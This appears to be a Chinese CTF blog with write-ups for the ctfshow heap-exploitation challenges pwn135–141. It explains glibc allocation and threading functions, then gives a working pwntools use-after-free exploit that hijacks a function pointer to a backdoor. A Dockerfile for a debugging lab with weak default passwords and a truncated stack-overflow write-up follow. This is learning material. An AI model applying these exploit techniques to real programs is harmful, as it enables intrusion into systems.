Rhea's Blog

pwn135-159【停更先，堆好难，打打新生赛去了，学一下re】

2025-09-17T04:00:00.000Z

pwn135

Hint:为防止题目难度跨度太大，135-140为演示题目阶段，你可以轻松获取flag,但是希望你能一步步去调试，而不是仅仅去拿到flag。如何申请堆？

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  menu();
  ctfshow();
  return 0;
}

跟进menu：

int menu()
{
  puts("Choose a function to allocate heap memory:");
  puts("1. malloc");
  puts("2. calloc");
  puts("3. realloc");
  return printf("Enter your choice: ");
}

跟进ctfshow:

unsigned __int64 ctfshow()
{
  int n4; // [rsp+4h] [rbp-1Ch] BYREF
  size_t size; // [rsp+8h] [rbp-18h] BYREF
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  ptr = 0;
  __isoc99_scanf("%d", &n4);
  if ( n4 == 2 )
  {
    printf("Enter the size to allocate using calloc: ");
    __isoc99_scanf("%lu", &size);
    ptr = calloc(1u, size);
  }
  else if ( n4 > 2 )
  {
    if ( n4 != 3 )
    {
      if ( n4 == 4 )
      {
        printf("Here is you want: ");
        system("cat /ctfshow_flag");
      }
      goto LABEL_12;
    }
    printf("Enter the size to allocate using realloc: ");
    __isoc99_scanf("%lu", &size);
    ptr = realloc(ptr, size);
  }
  else
  {
    if ( n4 != 1 )
    {
LABEL_12:
      puts("Invalid choice.");
      return __readfsqword(0x28u) ^ v4;
    }
    printf("Enter the size to allocate using malloc: ");
    __isoc99_scanf("%lu", &size);
    ptr = malloc(size);
  }
  if ( ptr )
    printf("Memory allocated at address: %p\n", ptr);
  else
    puts("Memory allocation failed.");
  return __readfsqword(0x28u) ^ v4;
}

直接输4就好了

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Heap_Exploitation
    * Site  : https://ctf.show/
    * Hint  : Learn how to allocate heap !
    * *************************************
Choose a function to allocate heap memory:
1. malloc
2. calloc
3. realloc
Enter your choice: 4
Here is you want: flag{just_test_my_process}
Invalid choice.

malloc函数：

void* malloc(size_t size);

作用：从堆内存中分配指定大小的内存块

参数：size 是需要分配的字节数

返回值：

成功：指向已分配内存块的指针
失败：返回 NULL

特点：

内存不初始化，内容为脏数据
分配的内存块在堆上，需用 free 释放
内存块有额外开销（chunk header）

calloc函数:

void* calloc(size_t num, size_t size);

作用：分配并初始化内存块(每个字节都会初始化为0)

参数：

num：需要分配的元素个数
size：每个元素的字节大小

返回值：

成功：指向零初始化内存的指针
失败：返回 NULL

特点：

结果相当于 malloc(num * size) + memset(0)
会检查 num * size 是否溢出，防止分配错误
常用于数组初始化

realloc函数:

void* realloc(void* ptr, size_t new_size);

作用：重新调整已分配内存的大小

参数：

ptr：指向已分配内存的指针
- 如果传入 NULL，等价于 malloc(new_size)
new_size：重新分配的字节数

返回值：

成功：返回调整后的指针（可能是新地址）
失败：返回 NULL，原指针仍然有效

特点：

新大小大于原块：可能迁移数据到新位置
新大小小于原块：可能释放多余部分
new_size == 0：等价于 free(ptr)，返回 NULL

pwn136

Hint:如何释放堆？

和上题一样看free函数

unsigned __int64 ctfshow()
{
  int n2; // [rsp+Ch] [rbp-24h] BYREF
  void *ptr; // [rsp+10h] [rbp-20h]
  void *ptr_1; // [rsp+18h] [rbp-18h]
  void *ptr_2; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  ptr_1 = 0;
  ptr_2 = 0;
  ptr = malloc(4u);
  if ( ptr )
  {
    ptr_1 = calloc(1u, 4u);
    if ( ptr_1 )
    {
      ptr_2 = realloc(0, 4u);
      if ( ptr_2 )
      {
        __isoc99_scanf("%d", &n2);
        if ( n2 == 2 )
        {
          free(ptr_1);
          puts("ptr_calloc freed.");
          return __readfsqword(0x28u) ^ v5;
        }
        if ( n2 > 2 )
        {
          if ( n2 == 3 )
          {
            free(ptr_2);
            puts("ptr_realloc freed.");
            return __readfsqword(0x28u) ^ v5;
          }
          if ( n2 == 4 )
          {
            printf("Here is you want: ");
            system("cat /ctfshow_flag");
          }
        }
        else if ( n2 == 1 )
        {
          free(ptr);
          puts("ptr_malloc freed.");
          return __readfsqword(0x28u) ^ v5;
        }
        puts("Invalid choice.");
        return __readfsqword(0x28u) ^ v5;
      }
      puts("Memory allocation failed for ptr_realloc.");
      free(ptr);
      free(ptr_1);
    }
    else
    {
      puts("Memory allocation failed for ptr_calloc.");
      free(ptr);
    }
  }
  else
  {
    puts("Memory allocation failed for ptr_malloc.");
  }
  return __readfsqword(0x28u) ^ v5;
}

free函数：

void free(void *ptr);

作用：释放由 malloc、calloc、realloc 分配的堆内存，把这块内存归还给堆管理器（glibc 的 ptmalloc）

参数：

ptr：需要释放的堆内存指针
- 如果是 NULL，什么都不会发生（安全）

特点：

释放后指针悬空：
- free 只释放内存，不会把传入的指针置为 NULL。
- 建议写法：
  free(p);
  p = NULL; // 防止悬空指针
重复释放（Double Free）是未定义行为：
- free 同一个指针两次可能导致程序崩溃，甚至被利用（典型 PWN 漏洞）。
释放未分配指针 / 非堆指针是错误的：
- 例如释放栈上的指针、静态区指针，会触发崩溃。
与 realloc 的关系：
- realloc(ptr, 0) 的效果与 free(ptr) 相同。

在 glibc 堆管理中的意义:

free 不会立刻交还给操作系统（除非是大块通过 mmap 分配的内存）
它会把 chunk 放入 tcache / fastbin / unsorted bin / large bin 等链表中，等待下次 malloc 重用
这一点在 PWN 利用 中非常关键：
- UAF（Use-After-Free）：释放后继续用
- Double Free：利用重复释放破坏链表结构
- Fastbin Attack / Tcache Poisoning：伪造下一个分配地址，劫持程序执行流

pwn137

Hint:sbrk and brk example

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  sbrk_brk();
  return 0;
}

跟进sbrk_brk:

int sbrk_brk()
{
  __pid_t pid; // eax
  void *v1; // rax
  char *addr; // [rsp+0h] [rbp-10h]
  void *v4; // [rsp+8h] [rbp-8h]

  pid = getpid();
  printf("sbrk example:%d\n", pid);
  addr = (char *)sbrk(0);
  printf("Program Break Location1:%p\n", addr);
  getchar();
  brk(addr + 4096);
  v1 = sbrk(0);
  printf("Program Break Location2:%p\n", v1);
  getchar();
  brk(addr);
  v4 = sbrk(0);
  printf("Program Break Location3:%p\n", v4);
  getchar();
  return system("cat /ctfshow_flag");
}

输入两次即可获得flag

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Heap_Exploitation
    * Site  : https://ctf.show/
    * Hint  : sbrk and brk example !
    * *************************************
sbrk example:36
Program Break Location1:0x6263b987f000
a
Program Break Location2:0x6263b9880000
Program Break Location3:0x6263b987f000
a
flag{just_test_my_process}

getpid():

pid_t getpid(void);

作用：获取当前进程的PID

返回值：

返回值:

成功：返回调用进程的 PID（通常是一个整数）[数据类型为 pid_t（通常是一个整数类型）]
失败：不会失败

特点:

常用于调试、日志、信号处理等
如果一个进程 fork 出子进程，子进程有新的 PID

sbrk()函数:

void *sbrk(intptr_t increment);

作用：

获取或调整当前进程的 数据段（堆）的末尾地址（program break）
increment 表示要增加或减少的字节数

参数:

increment：
- 0：返回当前堆顶地址
- 正数：扩展堆，返回原堆顶
- 负数：收缩堆，返回原堆顶

返回值:

成功：返回调用前的堆顶地址(当前堆的末尾)
失败：返回 (void*) -1，并设置 errno

brk函数:

int brk(void *end_data_segment);

作用：设置进程的数据段（堆）的末尾地址

参数:

end_data_segment：新的堆顶地址

返回值

成功：返回 0
失败：返回 -1 并设置 errno

特点

直接把堆顶设置到某个位置（比 sbrk 更直接）
一般 malloc 内部会用 brk 来向操作系统申请或收缩堆

pwn138

Hint:Private anonymous mapping example

// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t pid; // eax
  void *addr; // [rsp+8h] [rbp-8h]

  init(*(_QWORD *)&argc, argv, envp);
  logo();
  pid = getpid();
  printf("Welcome to private anonymous mapping example::PID:%d\n", pid);
  puts("Before mmap");
  getchar();
  addr = mmap(0, 0x21000u, 3, 34, -1, 0);
  if ( addr == (void *)-1LL )
    errExit("mmap");
  puts("After mmap");
  getchar();
  if ( munmap(addr, 0x21000u) == -1 )
    errExit("munmap");
  puts("After munmap");
  getchar();
  system("cat /ctfshow_flag");
  return 0;
}

输入两次即可拿到flag

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Heap_Exploitation
    * Site  : https://ctf.show/
    * Hint  : Private anonymous mapping example using mmap syscall !
    * *************************************
Welcome to private anonymous mapping example::PID:42
Before mmap
a
After mmap
After munmap
a
flag{just_test_my_process}

mmap 函数：

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

作用：mmap() 是一个 Linux 系统调用，用于在进程的虚拟地址空间中映射一段内存区域。映射区域可以来自文件，也可以是匿名内存（不依赖文件，直接向内核申请内存）。在现代 malloc 实现中，大块内存通常通过 mmap 分配

参数：

addr
- 建议映射的起始地址，通常传 NULL，让内核自动选择。
length
- 映射区域的大小（字节数，向上取整到页大小）。
prot
- 保护权限（类似 mprotect）：
  - PROT_READ → 可读
  - PROT_WRITE → 可写
  - PROT_EXEC → 可执行
  - PROT_NONE → 不可访问
flags
- 控制映射的方式：
  - MAP_PRIVATE → 私有映射（写时复制，修改不影响文件）
  - MAP_SHARED → 共享映射（修改会同步到文件）
  - MAP_ANONYMOUS → 匿名映射（不关联文件，只是分配内存）
  - MAP_FIXED → 强制使用指定的地址（危险）
fd
- 文件描述符，若是匿名映射则必须为 -1。
offset
- 映射文件的起始偏移量，必须是页大小的整数倍。

返回值：

成功：返回指向映射区域的指针
失败：返回 (void*) -1，并设置 errno

pwn139

Hint:多线程支持

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  flag_demo();
  return 0;
}

void flag_demo()
{
  __int64 size_1; // [rsp+0h] [rbp-20h]
  FILE *stream; // [rsp+8h] [rbp-18h]
  __int64 size; // [rsp+10h] [rbp-10h]
  char *ptr; // [rsp+18h] [rbp-8h]

  stream = fopen("/ctfshow_flag", "rb");
  if ( stream )
  {
    fseek(stream, 0, 2);
    size = ftell(stream);
    fseek(stream, 0, 0);
    puts("Allocate heap memory:");
    sleep(3u);
    ptr = (char *)malloc(size);
    if ( ptr )
    {
      sleep(1u);
      puts("Read ctfshow_flag");
      sleep(3u);
      if ( fread(ptr, 1u, size, stream) == size )
      {
        fclose(stream);
        puts("Here is your flag:");
        for ( size_1 = 0; size_1 < size; ++size_1 )
          putchar(ptr[size_1]);
        sleep(1u);
        puts("free");
        free(ptr);
      }
      else
      {
        perror("Failed to read file");
        fclose(stream);
        free(ptr);
      }
    }
    else
    {
      perror("Memory allocation failed");
      fclose(stream);
    }
  }
  else
  {
    perror("Failed to open file");
  }
}

直接运行就可

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Heap_Exploitation
    * Site  : https://ctf.show/
    * Hint  : Read flag demo !
    * *************************************
Allocate heap memory:
Read ctfshow_flag
Here is your flag:
flag{just_test_my_process}
free

fseek()函数：

int fseek(FILE *stream, long offset, int whence);

作用:fseek() 用于 移动文件流的文件位置指针，从而改变下次读写的位置

参数:

stream:已经打开的文件指针（FILE*）
offset:相对于 whence 的偏移量（字节数，可以是正数、负数或 0）
whence
基准位置，取值：
- SEEK_SET：文件开头
- SEEK_CUR：当前位置
- SEEK_END：文件末尾

返回值:

成功：返回 0
失败：返回 -1，并设置 errno

特点:

常与 ftell() 搭配，用来获取文件大小或保存当前位置
只能在 二进制文件 上保证准确（文本文件可能因为换行符转换导致偏移不一致）
类似低级系统调用里的 lseek()，不过 fseek() 作用在 标准 I/O 流 上

ftell函数：

long ftell(FILE *stream);

作用：ftell() 用于获取当前文件指针的位置（以字节为单位）

参数:

stream：表示文件指针

返回值:

返回当前文件指针的偏移量，从文件开头算起
若出错，返回 -1L

fread函数：

size_t fread(void *ptr, size_t size, size_t count, FILE *stream);

作用：fread() 是 C 标准库中的一个函数，用于批量读取文件数据，尤其适合二进制文件

参数：

ptr：指向存储读取数据的内存区域的指针
size：每个数据项的字节数
count：要读取的数据项的数量
stream：指向目标文件流的指针

返回值：实际成功读取的数据项数量（size_t类型）

若等于count：读取完整
若小于count：可能是文件已到末尾（可通过feof判断），或发生错误（可通过ferror判断）

pwn140

Hint:多线程支持

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t pid; // eax
  pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF
  void *thread_return; // [rsp+18h] [rbp-18h] BYREF
  void *ptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  pid = getpid();
  printf("Welcome to per thread arena example::%d\n", pid);
  puts("Before malloc in main thread");
  getchar();
  ptr = malloc(0x3E8u);
  puts("After malloc and before free in main thread");
  getchar();
  free(ptr);
  puts("After free in main thread");
  getchar();
  if ( pthread_create(&newthread, 0, threadFunc, 0) )
  {
    puts("Thread creation error");
    return -1;
  }
  else if ( pthread_join(newthread, &thread_return) )
  {
    puts("Thread join error");
    return -1;
  }
  else
  {
    system("cat /ctfshow_flag");
    return 0;
  }
}

输入3次即可得到flag

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Heap_Exploitation
    * Site  : https://ctf.show/
    * Hint  : Per thread arena example. !
    * *************************************
Welcome to per thread arena example::54
Before malloc in main thread
a
After malloc and before free in main thread
After free in main thread
a
Before malloc in thread 1
After malloc and before free in thread 1
a
After free in thread 1
flag{just_test_my_process}

pthread_create()函数：

int pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);

作用：用于创建一个新线程

参数：

newthread：指向pthread_t类型变量的指针，用于存储新创建线程的唯一标识符（线程 ID）。后续操作（如等待线程结束）需通过该 ID 引用线程
attr：线程属性设置（如栈大小、调度策略等）。通常传NULL（或0），表示使用默认属性（大多数场景无需自定义）
start_routine：线程的入口函数（线程启动后执行的函数），必须符合固定原型：
void* (*start_routine)(void*); // 接收void*参数，返回void*
函数执行完毕后，线程会终止。
arg：传递给start_routine函数的参数（类型为void*，可传递任意类型数据，需自行转换）。若无需参数，可传NULL（或0）

返回值：

成功：返回0（新线程已创建并开始运行）
失败：返回非0的错误码（不同错误对应不同值，可通过strerror()函数查看具体错误信息，如线程创建失败原因）

pthread_join()函数：

int pthread_join(pthread_t thread, void **retval);

作用：pthread_join() 用于等待指定线程终止，并可以获取该线程的返回值

参数：

thread：需要等待的子线程的标识符（由pthread_create()输出的newthread）
retval：指向void*类型的指针，用于存储子线程的返回值（即线程入口函数start_routine的返回值）。若无需获取返回值，可传NULL

返回值：

成功：返回0（子线程已正常终止）
失败：返回非0的错误码（如指定的线程不存在、线程已被分离等）

pwn141[过]

Hint:使用已释放的内存

checksec:

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

32位开启Canary与NX保护

IDA查看main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int n4; // eax
  char buf[4]; // [esp+0h] [ebp-10h] BYREF
  unsigned int v5; // [esp+4h] [ebp-Ch]
  int *p_argc; // [esp+8h] [ebp-8h]

  p_argc = &argc;
  v5 = __readgsdword(0x14u);
  init();
  logo();
  while ( 1 )
  {
    menu();
    read(0, buf, 4u);
    n4 = atoi(buf);
    if ( n4 == 4 )
      exit(0);
    if ( n4 > 4 )
    {
LABEL_12:
      puts("Invalid choice!");
    }
    else
    {
      switch ( n4 )
      {
        case 3:
          print_note();
          break;
        case 1:
          add_note();
          break;
        case 2:
          del_note();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

看⼀下菜单：

int menu()
{
  puts("-------------------------");
  puts("       CTFshowNote       ");
  puts("-------------------------");
  puts("    1. Add note          ");
  puts("    2. Delete note       ");
  puts("    3. Print note        ");
  puts("    4. Exit              ");
  puts("-------------------------");
  return printf("choice :");
}

程序应该主要有 3 个功能。之后程序会根据⽤⼾的输⼊执⾏相应的功能。

add_note():

unsigned int add_note()
{
  int v0; // esi
  int n4; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( n4 = 0; n4 <= 4; ++n4 )
    {
      if ( !*((_DWORD *)¬elist + n4) ) //寻找空的笔记位置
      {
        *((_DWORD *)¬elist + n4) = malloc(8u);  //分配8字节的笔记结构体
        if ( !*((_DWORD *)¬elist + n4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **((_DWORD **)¬elist + n4) = print_note_content; //设置笔记的打印函数指针([0-3字节：函数指针][4-7字节：内容缓冲区指针])
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *((_DWORD *)¬elist + n4); //获取笔记结构体地址
        *(_DWORD *)(v0 + 4) = malloc(size); //分配size字节的内容缓冲区，存在结构体的4-7字节
        if ( !*(_DWORD *)(*((_DWORD *)¬elist + n4) + 4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(void **)(*((_DWORD *)¬elist + n4) + 4), size); //读取size字节到内容缓冲区
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full!");
  }
  return __readgsdword(0x14u) ^ v5;
}

最多可以添加 5 个 note。每个 note 有两个字段 put 与 content，其中 put 会被设置为⼀个函数，其函数会输出 content 具体的内容。

print_note():

unsigned int print_note()
{
  int count; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  count = atoi(buf);
  if ( count < 0 || count >= ::count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_DWORD *)¬elist + count) ) //检查该索引的笔记是否存在（指针非空）
     //调用笔记结构体中的打印函数指针，传入笔记结构体地址作为参数
    (**((void (__cdecl ***)(_DWORD))¬elist + count))(*((_DWORD *)¬elist + count));
  return __readgsdword(0x14u) ^ v3;
}

根据给定的索引来输出对应的note的内容。

del_note():

unsigned int del_note()
{
  int count; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  count = atoi(buf);
  if ( count < 0 || count >= ::count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_DWORD *)¬elist + count) )
  {
    free(*(void **)(*((_DWORD *)¬elist + count) + 4));
    free(*((void **)¬elist + count));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

根据给定的索引来释放对应的 note。但是值得注意的是，在删除的时候，只是单纯进⾏了 free，⽽没有设置为 NULL，那么显然，这⾥是存在 UAF(Use After Free，释放后使用)漏洞。

程序还存在后⻔函数use()：

int use()
{
  return system("cat /ctfshow_flag");
}

那么我们只需要修改 note 的 put 字段为use函数的地址，从⽽实现在执⾏ print note 的时候执⾏后⻔函数。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
use = elf.sym['use']

def add(size, content):
io.recvuntil(b"choice :")
io.sendline(b"1")
io.recvuntil(b":")
io.sendline(str(size).encode())
io.recvuntil(b":")
io.sendline(content)


def delete(idx):
io.recvuntil(b"choice :")
io.sendline(b"2")
io.recvuntil(b":")
io.sendline(str(idx).encode())


def show(idx):
io.recvuntil(b"choice :")
io.sendline(b"3")
io.recvuntil(b":")
io.sendline(str(idx).encode())

add(32, b"aaaa")  #索引0：struct0（8字节） + content0（32字节）
add(32, b"bbbb")  #索引1：struct1（8字节） + content1（32字节）

delete(0)  #先free(content0)，再free(struct0)
delete(1)  #先free(content1)，再free(struct1)
add(8, p32(use))  # 新笔记：size=8，内容是use函数的4字节地址（32位地址占4B）
show(0)  #调用show(0)，触发use函数执行
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 92
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] Switching to interactive mode
flag{just_test_my_process}
-------------------------
       CTFshowNote
-------------------------
    1. Add note
    2. Delete note
    3. Print note
    4. Exit
-------------------------
choice :$

pwn111

Hint:堆块重叠

pwn111

Hint:先来试试简单的堆利用吧,远程环境：Ubuntu 16.04

pwn111

Hint:先来试试简单的堆利用吧,远程环境：Ubuntu 16.04

pwn111

Hint:glibc的一种分配规则

pwn111

Hint:为什么会产生UAF漏洞？

pwn111

Hint:fastbin_dup

pwn111

Hint:fastbin_dup_into_stack

pwn111

Hint: fastbin_dup_consolidate

pwn111

Hint:unsafe_unlink

pwn111

Hint:house_of_spirit

pwn111

Hint:poison_null_byte

pwn111

Hint:house_of_lore

pwn111

Hint:overlapping_chunks

pwn111

Hint:overlapping_chunks_2

pwn111

Hint:mmap_overlapping_chunks

pwn111

Hint:unsorted_bin_attack

pwn111

Hint:large_bin_attack

pwn111

Hint:Tcache_attack (友情提示：如果你现在基础还不太好，建议先往后做),远程环境：Ubuntu 18.04

16.04dockerfile

2025-08-27T14:00:00.000Z

# used for compile ubuntu 16.04 debugging pwn image
# author: roderick
# date: 2024-04-06

ARG BUILD_VERSION

FROM ubuntu:$BUILD_VERSION

ARG DEBIAN_FRONTEND=noninteractive
ARG HUB_DOMAIN=github.com
ARG NORMAL_USER_NAME=ctf

ENV TZ=Etc/UTC
ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8

WORKDIR /root

# install ruby 2.7 
RUN apt-get update && apt-get -y dist-upgrade && apt-get install -y --fix-missing python3 python3-pip python3-dev lib32z1 \
    xinetd curl gcc g++ gdbserver git libssl-dev libffi-dev build-essential tmux \
    vim iputils-ping \
    file net-tools socat locales autoconf automake libtool make wget && \
    wget http://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.1.tar.gz && \
    tar -xzvf ruby-2.7.1.tar.gz && \
    cd ruby-2.7.1/ && \
    ./configure && \
    make -j16 && \
    make install -j16 && \
    gem install one_gadget seccomp-tools && \
    sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen

# install python 3.8
RUN apt-get install -y zlib1g-dev libbz2-dev libncurses5-dev libsqlite3-dev libreadline-dev tk-dev libgdbm-dev \
    libdb-dev libpcap-dev xz-utils libexpat1-dev liblzma-dev libc6-dev && \
    wget https://www.python.org/ftp/python/3.8.6/Python-3.8.6.tgz && \
    tar -xzvf Python-3.8.6.tgz && \
    cd Python-3.8.6 && \
    ./configure --enable-optimizations && \
    make -j16 && make install -j16 && rm -rf /usr/bin/pip3 /usr/bin/python3 /usr/bin/python /usr/bin/pip && \
    ln -s /usr/local/bin/python3.8 /usr/bin/python3 && \
    ln -s /usr/local/bin/python3.8 /usr/bin/python && \
    ln -s /usr/local/bin/pip3.8 /usr/bin/pip3 && \
    ln -s /usr/local/bin/pip3.8 /usr/bin/pip

# install gdb manually
RUN apt-get install -y texinfo && \
    wget https://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz && \
    tar -xzvf gdb-10.2.tar.gz && cd gdb-10.2 && ./configure --enable-targets=all && \
    make -j16 && make install -j16


# 先执行容易失败的操作
RUN git clone https://${HUB_DOMAIN}/pwndbg/pwndbg && \
    cd ./pwndbg && git checkout ubuntu18.04-final && \
    ./setup.sh && ./.venv/bin/pip3 install --upgrade --force-reinstall 'requests==2.6.0' urllib3 && \
    pip3 install --upgrade --force-reinstall 'requests==2.6.0' urllib3

# install patchelf 
RUN wget https://mirrors.tuna.tsinghua.edu.cn/ubuntu/pool/universe/p/patchelf/patchelf_0.9-1~ubuntu16.04.3_amd64.deb && \
    dpkg -i patchelf_0.9-1~ubuntu16.04.3_amd64.deb

RUN git clone https://${HUB_DOMAIN}/hugsy/gef.git && \
    git clone https://${HUB_DOMAIN}/RoderickChan/Pwngdb.git && \
    git clone https://${HUB_DOMAIN}/Gallopsled/pwntools && \
    pip3 install --upgrade --editable ./pwntools && \
    git clone https://${HUB_DOMAIN}/RoderickChan/pwncli.git && \
    pip3 install --upgrade --editable ./pwncli


COPY ./gdb-gef /bin
COPY ./gdb-pwndbg /bin
COPY ./update.sh /bin
COPY ./test-this-container.sh /bin
COPY ./heaptrace /bin
COPY ./.tmux.conf ./
COPY ./.gdbinit ./
COPY ./flag /
COPY ./flag /flag.txt

RUN chmod +x /bin/gdb-gef /bin/gdb-pwndbg /bin/update.sh /bin/test-this-container.sh /bin/heaptrace && \
    echo "root:root" | chpasswd && \
    pip3 install ropper capstone z3-solver qiling lief

# root user
RUN useradd ${NORMAL_USER_NAME} -d /home/${NORMAL_USER_NAME} -m -s /bin/bash -u 1001 && \
    echo "${NORMAL_USER_NAME}:${NORMAL_USER_NAME}" | chpasswd && \
    cp -r /root/pwndbg /home/${NORMAL_USER_NAME} && \
    cp -r /root/gef /home/${NORMAL_USER_NAME} && \
    cp -r /root/pwntools /home/${NORMAL_USER_NAME} && \
    cp -r /root/Pwngdb /home/${NORMAL_USER_NAME} && \
    cp -r /root/pwncli /home/${NORMAL_USER_NAME} && \
    cp /root/.tmux.conf /home/${NORMAL_USER_NAME} && \
    cp /root/.gdbinit /home/${NORMAL_USER_NAME} && \
    cp /flag /home/${NORMAL_USER_NAME} && \
    cp /flag.txt /home/${NORMAL_USER_NAME} && \
    chown -R ${NORMAL_USER_NAME}:${NORMAL_USER_NAME} /home/${NORMAL_USER_NAME}

USER ${NORMAL_USER_NAME}:${NORMAL_USER_NAME}

WORKDIR /home/${NORMAL_USER_NAME}

RUN pip3 install --upgrade --editable ./pwntools && \
    pip3 install --upgrade --editable ./pwncli && \
    pip3 install --upgrade --force-reinstall 'requests==2.6.0' urllib3


# switch to root and install zsh
USER root:root
RUN apt-get install -y sudo zsh && usermod -s /bin/zsh ${NORMAL_USER_NAME} && \
    echo "${NORMAL_USER_NAME} ALL=(ALL) NOPASSWD : ALL" | tee /etc/sudoers.d/${NORMAL_USER_NAME}sudo 

# switch 2 normal user
USER ${NORMAL_USER_NAME}:${NORMAL_USER_NAME}
WORKDIR /home/${NORMAL_USER_NAME}


# install on-my-zsh
RUN curl -fsSL -O https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh && \
    chmod +x  ./install.sh && \ 
    sed -i -e 's/read[[:space:]]*-r[[:space:]]*opt/opt=n/g' ./install.sh && \
    ./install.sh && \
    git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting && \
    git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

COPY ./.zshrc ./

# expose some ports
EXPOSE 20 21 22 80 443 23946 10001 10002 10003 10004 10005

CMD ["/bin/update.sh"]

可以直接执行命令 sudo docker pull roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412 下载镜像使用。

sudo docker run -it \
--name pwn16_env \
-v ~/Desktop/CTFshow_pwn:/CTFshow_pwn \
-p 23947:23947 \
--cap-add=SYS_PTRACE \
pwnenv_ubuntu16:16.04-2.23-0ubuntu11.3-20240412 \
/bin/zsh

user/password:

root/root
ctf/ctf

参考：在2024年如何成功搭建Ubuntu 16.04的pwn环境 | roderick - record and learn!

docker命令

2025-08-27T14:00:00.000Z

- 格式：`docker tag 旧镜像名:旧标签 新镜像名:新标签`
sudo docker tag roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412 my_pwn_env:ubuntu16

#删除旧标签
sudo docker rmi roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412
# 先停止容器 
sudo docker stop pwn16_env
# 再删除 
sudo docker rm pwn16_env

pwn111-134

2025-08-27T04:00:00.000Z

pwn111

Hint：没难度

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位仅开启NX保护

IDA直接查看漏洞函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  ctfshow();
  return 0;
}

ssize_t ctfshow()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input your message:\n", 0x14u);
  read(0, buf, 0x100u);
  return write(1, "I have received your message, Thank you!\n", 0x29u);
}

明显的栈溢出漏洞，观察到还有后⻔函数：

__int64 do_global()
{
  __int64 result; // rax
  _BYTE buf[9]; // [rsp+Bh] [rbp-15h] BYREF
  unsigned int v2; // [rsp+14h] [rbp-Ch]
  FILE *stream; // [rsp+18h] [rbp-8h]

  stream = fopen("/ctfshow_flag", "r");
  while ( 1 )
  {
    v2 = fgetc(stream);
    buf[0] = v2;
    result = v2;
    if ( (_BYTE)v2 == 0xFF )
      break;
    write(1, buf, 1u);
  }
  return result;
}

那么简单了，只需要栈溢出，将返回地址覆盖成这个函数的地址就可以拿到flag了。

from pwn import *
